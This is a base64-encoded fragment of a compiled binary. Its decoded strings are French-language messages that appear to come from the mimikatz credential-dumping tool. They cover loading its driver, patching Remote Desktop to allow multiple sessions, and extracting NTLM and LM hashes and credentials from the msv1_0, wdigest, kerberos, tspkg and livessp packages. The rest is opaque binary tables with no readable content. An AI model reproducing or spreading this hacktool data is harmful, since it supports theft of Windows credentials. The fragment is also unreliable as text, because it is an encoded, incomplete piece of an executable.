AAqACAAWwAAAAAAAABuAC4AdAAuACAAKABMAFUASQBEACAASwBPACkAAAAAAEQAbwBtAGEAaQBuAGUAIABkACcAYQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgACAAOgAgAAAAAABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAIABwAHIAaQBuAGMAaQBwAGEAbAAgACAAIAAgACAAIAAgADoAIAAAAAAAUABhAGMAawBhAGcAZQAgAGQAJwBhAHUAdABoAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuACAAIAA6ACAAAAAAADsAAAAAAAAAQQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgAEkAZAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAGIAdABlAG4AaQByACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZABlACAAcwBlAHMAcwBpAG8AbgAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcA6QBuAHUAbQBlAHIAZQByACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAAAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAgAGUAdAAgAHAAaQBsAG8AdABlAHMAAAAAAAAARADpAG0AYQByAHIAZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAAAAAAAAAEEAcgByAOoAdABlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAUwB1AHAAcAByAGkAbQBlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAAAAAAAAAAAAAAAAASQBuAHMAdABhAGwAbABlACAAZQB0AC8AbwB1ACAAZADpAG0AYQByAHIAZQAgAGwAZQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAEQA6QBtAGEAcgByAGEAZwBlACAAZABlACAAJwAAAAAAQQByAHIA6gB0ACAAZABlACAAJwAAAAAAUwB1AHAAcAByAGUAcwBzAGkAbwBuACAAZABlACAAJwAAAAAAAAAAAAAAAAAAAAAAKABuAHUAbABsACkAJwAgAC0AIABLAE8AIAA7ACAATgBvAG0AIABkAGUAIABzAGUAcgB2AGkAYwBlACAAbQBhAG4AcQB1AGEAbgB0AAAAAABJAE4AVABFAFIAQQBDAFQASQBWAEUAXwBQAFIATwBDAEUAUwBTAAAARgBJAEwARQBfAFMAWQBTAFQARQBNAF8ARABSAEkAVgBFAFIAAAAAAEsARQBSAE4ARQBMAF8ARABSAEkAVgBFAFIAAAAAAAAAVwBJAE4AMwAyAF8ATwBXAE4AXwBQAFIATwBDAEUAUwBTAAAAAAAAAFcASQBOADMAMgBfAFMASABBAFIARQBfAFAAUgBPAEMARQBTAFMAAABDAE8ATgBUAEkATgBVAEUAXwBQAEUATgBEAEkATgBHAAAAAAAAAAAAUABBAFUAUwBFAF8AUABFAE4ARABJAE4ARwAAAAAAAABQAEEAVQBTAEUARAAAAAAAUgBVAE4ATgBJAE4ARwAAAFMAVABBAFIAVABfAFAARQBOAEQASQBOAEcAAAAAAAAAUwBUAE8AUABfAFAARQBOAEQASQBOAEcAAAAAAAAAAABTAFQATwBQAFAARQBEAAAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAAAAAAAAAAABbACoAXQAgAFAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAbgBvAG4AIABwAHIA6QBzAGUAbgB0ACwAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAuAAAAAABtAGkAbQBpAGsAYQB0AHoALgBzAHkAcwAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByAAAAWwArAF0AIABDAHIA6QBhAHQAaQBvAG4AIABkAHUAIABwAGkAbABvAHQAZQAgADoAIABPAEsAAAAAAAAAAAAAAFsAKwBdACAAQQB0AHQAcgBpAGIAdQB0AGkAbwBuACAAZABlAHMAIABkAHIAbwBpAHQAcwAgADoAIABPAEsAAABbAC0AXQAgAEEAdAB0AHIAaQBiAHUAdABpAG8AbgAgAGQAZQBzACAAZAByAG8AaQB0AHMAIAA6ACAASwBPACAAOwAgAAAAAAAAAAAAAAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAGwAZQAgAHAAaQBsAG8AdABlACAAOwAgAAAAAAAAAAAAWwAhAF0AIABMAGUAIABwAGkAbABvAHQAZQAgAG4AZQAgAHMAZQBtAGIAbABlACAAcABhAHMAIABlAHgAaQBzAHQAZQByACAAOwAgAAAAAABbACEAXQAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQAgAGMAaABlAG0AaQBuACAAYQBiAHMAbwBsAHUAIABkAHUAIABwAGkAbABvAHQAZQAgADsAIAAAAAAAWwAhAF0AIABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAOgAgAEsATwAgADsAIAAAAAAAAAAAAAAAAAAAAAAAWwAqAF0AIABQAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQA6QBqAOAAIABwAHIA6QBzAGUAbgB0AAAAAAAAAAAAWwArAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAE8ASwAAAAAAAAAAAAAAAAAAAAAAWwAtAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAEsATwAgADsAIAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAHUAdgByAGkAcgAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAcwBlAHIAdgBpAGMAZQAgAHAAbwB1AHIAIABjAHIA6QBhAHQAaQBvAG4AIAA7ACAAAAAAAAAAAAAAAEUAZgBmAGEAYwBlACAAbAAnAOkAYwByAGEAbgAgACgAbgBlACAAZgBvAG4AYwB0AGkAbwBuAG4AZQAgAHAAYQBzACAAZQBuACAA6QB4AGUAYwB1AHQAaQBvAG4AIABkAGkAcwB0AGEAbgB0AGUALAAgAHYAaQBhACAAUABzAEUAeABlAGMAIABwAGEAcgAgAGUAeABlAG0AcABsAGUAKQAAAAAAAAAAAGMAbABzAAAAUQB1AGkAdAB0AGUAIABNAGkAbQBpAEsAYQB0AHoAAABDAGEAbABjAHUAbABlACAAbABhACAAcgDpAHAAbwBuAHMAZQAgAOAAIABsAGEAIABHAHIAYQBuAGQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAHMAdQByACAAbABhACAAVgBpAGUALAAgAGwAJwBVAG4AaQB2AGUAcgBzACAAZQB0ACAAbABlACAAUgBlAHMAdABlAAAAAAAAAHIAZQBwAG8AbgBzAGUAAABUAHIAbwB1AHYAZQAgAHUAbgBlACAAYwBpAHQAYQB0AGkAbwBuAAAAYwBpAHQAZQAAAAAAAAAAAFIAZQB0AG8AdQByAG4AZQAgAGwAYQAgAHYAZQByAHMAaQBvAG4AIABkAGUAIABtAGkAbQBpAGsAYQB0AHoAAAB2AGUAcgBzAGkAbwBuAAAATQBlAHQAcwAgAGUAbgAgAHAAYQB1AHMAZQAgAG0AaQBtAGkAawBhAHQAegAgAHUAbgAgAGMAZQByAHQAYQBpAG4AcwAgAG4AbwBtAGIAcgBlACAAZABlACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAGUAcwAAAAAAcwBsAGUAZQBwAAAAAAAAADEwOjEwOjI1AAAAAAAAAABMAGEAIAByAOkAcABvAG4AcwBlACAAZQBzAHQAIAA0ADIALgAAAAAASQAgAGUAZABpAHQAIAB0AGgAZQAgAHcAbwByAGwAZAAgAGkAbgAgAEgARQBYAAAAIABtAHMALgAuAC4AIAAAAFMAbABlAGUAcAAgADoAIAAAAAAAAAAAAEYAaQBuACAAIQAAAAAAAABBAGYAZgBpAGMAaABlACAAbAAnAHUAdABpAGwAaQBzAGEAdABlAHUAcgAgAGMAbwB1AHIAYQBuAHQAAAAAAAAAAAAAAAAAAABBAGYAZgBpAGMAaABlACAAbABlACAAbgBvAG0AIABkACcAbwByAGQAaQBuAGEAdABlAHUAcgAgAGMAbwB1AHIAYQBuAHQAAABjAG8AbQBwAHUAdABlAHIAAAAAAAAAAABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAIAA6ACAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AFUAcwBlAHIATgBhAG0AZQAgADoAIAAAAAAAbQBvAGQAXwBzAHkAcwB0AGUAbQA6ADoAZwBlAHQAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIAA6ACAAAAAAAHMAZQBzAHMAaQBvAG4AcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAZQBzAAAAAAAAAAAAAAAAAAAAUABhAHQAYwBoACAAbABlACAAYgB1AHIAZQBhAHUAIADgACAAZABpAHMAdABhAG4AYwBlACAAcABvAHUAcgAgAGQA6QBwAGEAcwBzAGUAcgAgADIAIABjAG8AbgBuAGUAeABpAG8AbgBzACAAcwBpAG0AdQBsAHQAYQBuAOkAZQBzAAAAAAAAAG0AdQBsAHQAaQByAGQAcAAAAAAAAAAAAEEAZgBmAGkAYwBoAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAAAB2AGkAZQB3AHMAaABhAGQAbwB3AAAAAAAAAAAAAAAAAE0AbwBkAGkAZgBpAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAIAAoAEQASQBTAEEAQgBMAEUALAAgAEkATgBUAEUAUgBBAEMAVAAsACAASQBOAFQARQBSAEEAQwBUAF8ATgBPAEEAUwBLACwAIABWAEkARQBXACwAIABWAEkARQBXAF8ATgBPAEEAUwBLACkAAAAAAAAAbQBvAGQAaQBmAHkAcwBoAGEAZABvAHcAAAAAAAAAAABTAGUAcwBzAEkAZAAJAEUAdABhAHQACQBzAHQAcgBFAHQAYQB0AAAAbQBvAGQAXwB0AHMAOgA6AGcAZQB0AFMAZQBzAHMAaQBvAG4AcwAgADoAIAAAAAAAUABJAEQACQBTAGUAcwBzAEkAZAAJAFUAdABpAGwAaQBzAGEAdABlAHUAcgAAAAAARABJAFMAQQBCAEwARQAAAEkATgBUAEUAUgBBAEMAVAAAAAAAAAAAAEkATgBUAEUAUgBBAEMAVABfAE4ATwBBAFMASwAAAAAAVgBJAEUAVwAAAAAAAAAAAFYASQBFAFcAXwBOAE8AQQBTAEsAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIABkAGUAIABwAGEAcgBzAGkAbgBnACAAZABlACAAbAAnAGEAcgBnAHUAbQBlAG4AdAAgADoAIAAAAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAQABXAGkAbgBzAHQAYQB0AGkAbwBuACAAOgAgAAAAAAAgADwALQA+ACAAAAAJAAAACQBpAGQAIAAgACAAIAAgADoAIAAAAAAACQBuAGEAbQBlACAAIAAgADoAIAAAAAAACQBzAG4AYQBtAGUAIAAgADoAIAAAAAAACQB0AHkAcABlACAAIAAgADoAIAAAAAAACQBzAGgAYQBkAG8AdwAgADoAIAAAAAAACQAgACAAIAAgACAAIAA9AD4AIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcgBlAGEAZABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUAUwBlAHIAdgBpAGMAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAASQBOAFQARQBSAEEAQwBUACAAKABjAG8AbgBmAGkAcgBtAGEAdABpAG8AbgApAAAAVgBJAEUAVwAgACgAYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4AKQAAAEEAYwB0AGkAdgBlAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAAAAAAAABDAG8AbgBuAGUAYwB0AFEAdQBlAHIAeQAAAAAAAAAAAFMAaABhAGQAbwB3AAAAAABEAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAAAAAAEkAZABsAGUAAAAAAAAAAABMAGkAcwB0AGUAbgAAAAAAUgBlAHMAZQB0AAAAAAAAAEQAbwB3AG4AAAAAAAAAAABJAG4AaQB0AAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIAB0AGgAcgBlAGEAZABzAAAAAAAAAFMAdQBzAHAAZQBuAGQAIAB1AG4AIAB0AGgAcgBlAGEAZAAgAGEAYwB0AGkAZgAAAFIAZQBwAHIAZQBuAGQAIAB1AG4AIAB0AGgAcgBlAGEAZAAgAHMAdQBzAHAAZQBuAGQAdQAAAAAAQQByAHIA6gB0AGUAIAB1AG4AIAB0AGgAcgBlAGEAZAAAAAAAAAAAAAAAAAAAAAAARQBuAHYAbwBpACAAdQBuACAAbQBlAHMAcwBhAGcAZQAgAGQAZQAgAGYAZQByAG0AZQB0AHUAcgBlACAA4AAgAHUAbgAgAHQAaAByAGUAYQBkAAAAAAAAAHEAdQBpAHQAAAAAAAAAAABQAEkARAAJAFQASQBEAAkAcAByAFQAaAAAAAAAAAAAAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAAAAAAkAcgBlAHAAcgBpAHMAZQAgAAAAAAAAAHQAaAByAGUAYQBkACAAAABLAE8AIAAtACAAbQBvAGQAXwB0AGgAcgBlAGEAZAA6ADoAcgBlAHMAdQBtAGUAIAA7ACAAAAAAACcAIABpAG4AdgBhAGwAaQBkAGUAAAAAAGEAcgBnAHUAbQBlAG4AdAAgACcAAAAAAAkAcwB1AHMAcABlAG4AcwBpAG8AbgAgAAAAAAAAAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHMAdQBzAHAAZQBuAGQAIAA7ACAAAAAJAGEAcgByAOoAdAAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHMAdABvAHAAIAA7ACAAAAAAAAAAAAAJAG0AZQBzAHMAYQBnAGUAIABmAGUAcgBtAGUAdAB1AHIAZQAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHEAdQBpAHQAIAA7ACAAAAAAAAAAAAAAAAAAAAAAAE0AZQB0ACAAZQBuACAAcABhAHUAcwBlACAAbABlACAAYwBoAHIAbwBuAG8AbQDoAHQAcgBlACAAZAB1ACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAAAAAAAAAcABhAHUAcwBlAAAAAAAAAAAAAAAAAAAAUgBlAHAAcgBlAG4AZAAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAHIAZQBwAHIAaQBzAGUAAABEAOkAbQBhAHIAcgBlACAAdQBuAGUAIABuAG8AdQB2AGUAbABsAGUAIABwAGEAcgB0AGkAZQAAAFQAcgBpAGMAaABlACAAYQB1ACAAZADpAG0AaQBuAGUAdQByAAAAAABjAGgAZQBhAHQAAAAAAAAAUABhAHQAYwBoAOkAIAA7ACkAAAAAAAAAdwBpAG4AbQBpAG4AZQAuAGUAeABlAAAAbgAuAGEALgAgACgAawBlAHIAYgBlAHIAbwBzACAASwBPACkAAAAAAG4ALgBzAC4AIAAoAFMAdQBwAHAAQwByAGUAZAAgAEsATwApACAALwAgAAAAAAAAAG4ALgBhAC4AIAAoAGwAaQB2AGUAcwBzAHAAIABLAE8AKQAAAAAAAAAAAAAAAAAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBQAFIASQBNAEEAUgBZAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAAAAAAAAbgAuAHMALgAgACgAUAByAGkAbQBhAHIAeQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABLAE8AKQAAAAAAAAAAAAAAAAAAAAAAbgAuAGUALgAgACgATABlAGMAdAB1AHIAZQAgAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAEMAUgBFAEQARQBOAFQASQBBAEwAUwAgAEsATwApAAAAAAAAAG4ALgBzAC4AIAAoAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEsATwApAAAAAAAAAAAAAAAAAAAAbgAuAGUALgAgACgATABlAGMAdAB1AHIAZQAgAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAEwASQBTAFQAIABLAE8AKQAAAAAAbgAuAGEALgAgACgAbQBzAHYAMQBfADAAIABLAE8AKQAAAAAAAAAAACAAfQAsACAAbgB0AGwAbQB7ACAAAAAAAGwAbQB7ACAAAAAAAAAAAAAJACAAKgAgAEgAYQBzAGgAIABOAFQATABNACAAIAAgACAAOgAgAAAACQAgACoAIABIAGEAcwBoACAAT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AAAAAAAAwAAAEgCBgAAAAAAAAAAAGgCBgBgAQYA4AAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAoJAGAAIAAAAAAAAA/////wAAAABAAAAAMAIGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAABiRBgC4AgYAkAIGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADQAgYAAAAAAAAAAADoAgYA6AoGAAAAAAAAAAAAAAAAAAAAAAAYkQYAAQAAAAAAAAD/////AAAAAEAAAAC4AgYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAASJEGADgDBgAQAwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAFADBgAAAAAAAAAAAGgDBgAAEAYAAAAAAAAAAAAAAAAAAAAAAEiRBgABAAAAAAAAAP////8AAAAAQAAAADgDBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABwkQYAuAMGAJADBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAA0AMGAAAAAAAAAAAA8AMGAGgDBgAAEAYAAAAAAAAAAAAAAAAAAAAAAAAAAABwkQYAAgAAAAAAAAD/////AAAAAEAAAAC4AwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAmJEGAEAEBgAYBAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAFgEBgAAAAAAAAAAAHgEBgBoAwYAABAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAmJEGAAIAAAAAAAAA/////wAAAABAAAAAQAQGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAANCRBgDIBAYAoAQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADgBAYAAAAAAAAAAAD4BAYAAA4GAAAAAAAAAAAAAAAAAAAAAADQkQYAAQAAAAAAAAD/////AAAAAEAAAADIBAYAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAOAUGAAAAAAAAAAAAUAUGAOgKBgAAAAAAAAAAAAAAAAAAAAAAGJIGAAEAAAAAAAAA/////wAAAABAAAAAIAUGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAECSBgCgBQYAeAUGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAC4BQYAAAAAAAAAAADYBQYAUAUGAOgKBgAAAAAAAAAAAAAAAAAAAAAAAAAAAECSBgACAAAAAAAAAP////8AAAAAQAAAAKAFBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABYsQYAKBAGAAAGBgAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAA2LEGAFAGBgAoBgYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAGgGBgAAAAAAAAAAAIAGBgAAEAYA